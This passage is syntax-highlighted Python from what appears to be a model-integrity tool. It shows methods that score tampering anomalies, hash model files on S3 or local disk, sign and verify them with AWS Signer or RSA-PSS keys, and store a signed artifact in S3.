            <span class="n">all_anomalies</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="n">performance_results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">anomalies</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span>
            <span class="n">all_anomalies</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="n">statistical_results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">anomalies</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]))</span>
            
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">anomalies_found</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">all_anomalies</span>
            
            <span class="c1"># Calculate risk score
</span>            <span class="n">risk_score</span> <span class="o">=</span> <span class="mi">0</span>
            <span class="k">for</span> <span class="n">anomaly</span> <span class="ow">in</span> <span class="n">all_anomalies</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">anomaly</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">30</span>
                <span class="k">elif</span> <span class="n">anomaly</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">20</span>
                <span class="k">elif</span> <span class="n">anomaly</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">10</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">risk_score</span> <span class="o">+=</span> <span class="mi">5</span>
            
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">min</span><span class="p">(</span><span class="n">risk_score</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">tampering_detected</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">risk_score</span> <span class="o">&gt;</span> <span class="mi">50</span>
            
            <span class="k">return</span> <span class="n">tampering_analysis</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error detecting model tampering: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">tampering_analysis</span><span class="p">[</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">tampering_analysis</span>
    
    <span class="k">def</span> <span class="nf">_calculate_model_hash</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate SHA-256 hash of model file</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">):</span>
                <span class="c1"># Handle S3 objects
</span>                <span class="n">bucket</span><span class="p">,</span> <span class="n">key</span> <span class="o">=</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
                
                <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">get_object</span><span class="p">(</span><span class="n">Bucket</span><span class="o">=</span><span class="n">bucket</span><span class="p">,</span> <span class="n">Key</span><span class="o">=</span><span class="n">key</span><span class="p">)</span>
                <span class="n">model_data</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">Body</span><span class="sh">'</span><span class="p">].</span><span class="nf">read</span><span class="p">()</span>
                
                <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">model_data</span><span class="p">).</span><span class="nf">hexdigest</span><span class="p">()</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="c1"># Handle local files
</span>                <span class="n">hash_sha256</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">()</span>
                <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">model_location</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                    <span class="k">for</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">iter</span><span class="p">(</span><span class="k">lambda</span><span class="p">:</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">),</span> <span class="sa">b</span><span class="sh">""</span><span class="p">):</span>
                        <span class="n">hash_sha256</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
                
                <span class="k">return</span> <span class="n">hash_sha256</span><span class="p">.</span><span class="nf">hexdigest</span><span class="p">()</span>
                
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error calculating model hash: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_sign_with_aws_signer</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">signing_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Sign model using AWS Signer service</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Prepare signing request
</span>            <span class="n">signing_job_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">model-signing-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d-%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
            
            <span class="c1"># Create signing job
</span>            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">signer</span><span class="p">.</span><span class="nf">start_signing_job</span><span class="p">(</span>
                <span class="n">source</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">bucketName</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">model_location</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="mi">3</span><span class="p">:]),</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">object_version</span><span class="sh">'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="n">destination</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">bucketName</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">output_bucket</span><span class="sh">'</span><span class="p">,</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]),</span>
                        <span class="sh">'</span><span class="s">prefix</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">output_prefix</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">signed-models/</span><span class="sh">'</span><span class="p">)</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="n">profileName</span><span class="o">=</span><span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">signing_profile</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">default-model-signing-profile</span><span class="sh">'</span><span class="p">),</span>
                <span class="n">clientRequestToken</span><span class="o">=</span><span class="n">signing_job_name</span><span class="p">,</span>
                <span class="n">profileOwner</span><span class="o">=</span><span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">profile_owner</span><span class="sh">'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
            <span class="p">)</span>
            
            <span class="c1"># Wait for signing completion and get results
</span>            <span class="n">signing_job_id</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">jobId</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># In production, implement proper polling with exponential backoff
</span>            <span class="n">signing_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">signer</span><span class="p">.</span><span class="nf">describe_signing_job</span><span class="p">(</span><span class="n">jobId</span><span class="o">=</span><span class="n">signing_job_id</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">signedObject</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">key</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">signing_job_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_job_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">signing_status</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">certificate_chain</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">platformId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">signing_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">signing_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">createdAt</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">isoformat</span><span class="p">()</span> <span class="k">if</span> <span class="n">signing_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">createdAt</span><span class="sh">'</span><span class="p">)</span> <span class="k">else</span> <span class="bp">None</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error signing with AWS Signer: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_sign_with_custom_key</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">signing_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Sign model hash using custom RSA key</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Generate or load RSA key pair
</span>            <span class="k">if</span> <span class="n">signing_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">private_key_kms_id</span><span class="sh">'</span><span class="p">):</span>
                <span class="c1"># Use KMS for signing
</span>                <span class="n">signature</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_sign_with_kms</span><span class="p">(</span><span class="n">model_hash</span><span class="p">,</span> <span class="n">signing_config</span><span class="p">[</span><span class="sh">'</span><span class="s">private_key_kms_id</span><span class="sh">'</span><span class="p">])</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="c1"># Use local RSA key
</span>                <span class="n">private_key</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_load_or_generate_rsa_key</span><span class="p">(</span><span class="n">signing_config</span><span class="p">)</span>
                
                <span class="c1"># Sign the hash
</span>                <span class="n">signature</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">sign</span><span class="p">(</span>
                    <span class="n">model_hash</span><span class="p">.</span><span class="nf">encode</span><span class="p">(),</span>
                    <span class="n">padding</span><span class="p">.</span><span class="nc">PSS</span><span class="p">(</span>
                        <span class="n">mgf</span><span class="o">=</span><span class="n">padding</span><span class="p">.</span><span class="nc">MGF1</span><span class="p">(</span><span class="n">hashes</span><span class="p">.</span><span class="nc">SHA256</span><span class="p">()),</span>
                        <span class="n">salt_length</span><span class="o">=</span><span class="n">padding</span><span class="p">.</span><span class="n">PSS</span><span class="p">.</span><span class="n">MAX_LENGTH</span>
                    <span class="p">),</span>
                    <span class="n">hashes</span><span class="p">.</span><span class="nc">SHA256</span><span class="p">()</span>
                <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">:</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">signature</span><span class="p">).</span><span class="nf">decode</span><span class="p">(),</span>
                <span class="sh">'</span><span class="s">signing_algorithm</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RSA-PSS-SHA256</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">public_key</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_get_public_key_info</span><span class="p">(</span><span class="n">signing_config</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">signing_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error signing with custom key: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_verify_digital_signature</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">signature_info</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Verify digital signature against model hash</span><span class="sh">"""</span>
        
        <span class="n">verification_result</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">verification_method</span><span class="sh">'</span><span class="p">:</span> <span class="sh">''</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">signature_info</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">signing_job_id</span><span class="sh">'</span><span class="p">):</span>
                <span class="c1"># AWS Signer verification
</span>                <span class="n">verification_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_verify_aws_signer_signature</span><span class="p">(</span><span class="n">signature_info</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">))</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="c1"># Custom signature verification
</span>                <span class="n">verification_result</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_verify_custom_signature</span><span class="p">(</span><span class="n">signature_info</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">))</span>
            
            <span class="k">return</span> <span class="n">verification_result</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error verifying digital signature: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">verification_result</span><span class="p">[</span><span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">verification_result</span>
    
    <span class="k">def</span> <span class="nf">_verify_aws_signer_signature</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">signature_info</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Verify signature created by AWS Signer</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">signing_job_id</span> <span class="o">=</span> <span class="n">signature_info</span><span class="p">[</span><span class="sh">'</span><span class="s">signing_job_id</span><span class="sh">'</span><span class="p">]</span>
            <span class="n">job_details</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">signer</span><span class="p">.</span><span class="nf">describe_signing_job</span><span class="p">(</span><span class="n">jobId</span><span class="o">=</span><span class="n">signing_job_id</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">Succeeded</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_method</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">aws_signer</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">signing_job_status</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">),</span>
                    <span class="sh">'</span><span class="s">platform_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">platformId</span><span class="sh">'</span><span class="p">),</span>
                    <span class="sh">'</span><span class="s">job_owner</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">jobOwner</span><span class="sh">'</span><span class="p">)</span>
                <span class="p">}</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_method</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">aws_signer</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
            <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_verify_custom_signature</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">signature_info</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">model_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Verify custom RSA signature</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">signature_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">signature_info</span><span class="p">[</span><span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">])</span>
            <span class="n">public_key_info</span> <span class="o">=</span> <span class="n">signature_info</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">public_key</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
            
            <span class="c1"># Load public key
</span>            <span class="n">public_key</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_load_public_key</span><span class="p">(</span><span class="n">public_key_info</span><span class="p">)</span>
            
            <span class="c1"># Verify signature
</span>            <span class="k">try</span><span class="p">:</span>
                <span class="n">public_key</span><span class="p">.</span><span class="nf">verify</span><span class="p">(</span>
                    <span class="n">signature_bytes</span><span class="p">,</span>
                    <span class="n">model_hash</span><span class="p">.</span><span class="nf">encode</span><span class="p">(),</span>
                    <span class="n">padding</span><span class="p">.</span><span class="nc">PSS</span><span class="p">(</span>
                        <span class="n">mgf</span><span class="o">=</span><span class="n">padding</span><span class="p">.</span><span class="nc">MGF1</span><span class="p">(</span><span class="n">hashes</span><span class="p">.</span><span class="nc">SHA256</span><span class="p">()),</span>
                        <span class="n">salt_length</span><span class="o">=</span><span class="n">padding</span><span class="p">.</span><span class="n">PSS</span><span class="p">.</span><span class="n">MAX_LENGTH</span>
                    <span class="p">),</span>
                    <span class="n">hashes</span><span class="p">.</span><span class="nc">SHA256</span><span class="p">()</span>
                <span class="p">)</span>
                <span class="n">signature_valid</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
                <span class="n">signature_valid</span> <span class="o">=</span> <span class="bp">False</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="n">signature_valid</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_method</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">custom_rsa</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">algorithm</span><span class="sh">'</span><span class="p">:</span> <span class="n">signature_info</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">signing_algorithm</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                    <span class="sh">'</span><span class="s">key_size</span><span class="sh">'</span><span class="p">:</span> <span class="n">public_key</span><span class="p">.</span><span class="n">key_size</span> <span class="k">if</span> <span class="n">public_key</span> <span class="k">else</span> <span class="mi">0</span>
                <span class="p">}</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">signature_valid</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_method</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">custom_rsa</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">verification_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
            <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_create_signed_artifact</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">signature_result</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create signed model artifact with embedded signature</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create signed artifact structure
</span>            <span class="n">signed_artifact</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">model_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_location</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">signature_info</span><span class="sh">'</span><span class="p">:</span> <span class="n">signature_result</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">created_at</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
                <span class="sh">'</span><span class="s">artifact_version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1.0</span><span class="sh">'</span>
            <span class="p">}</span>
            
            <span class="c1"># Store signed artifact
</span>            <span class="k">if</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">):</span>
                <span class="n">bucket</span><span class="p">,</span> <span class="n">key</span> <span class="o">=</span> <span class="n">model_location</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">).</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
                <span class="n">signed_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">signed-models/</span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s">.signed</span><span class="sh">"</span>
                
                <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
                    <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket</span><span class="p">,</span>
                    <span class="n">Key</span><span class="o">=</span><span class="n">signed_key</span><span class="p">,</span>
                    <span class="n">Body</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">signed_artifact</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
                    <span class="n">ContentType</span><span class="o">=</span><span class="sh">'</span><span class="s">application/json</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">ServerSideEncryption</span><span class="o">=</span><span class="sh">'</span><span class="s">aws:kms</span><span class="sh">'</span>
                <span class="p">)</span>
                
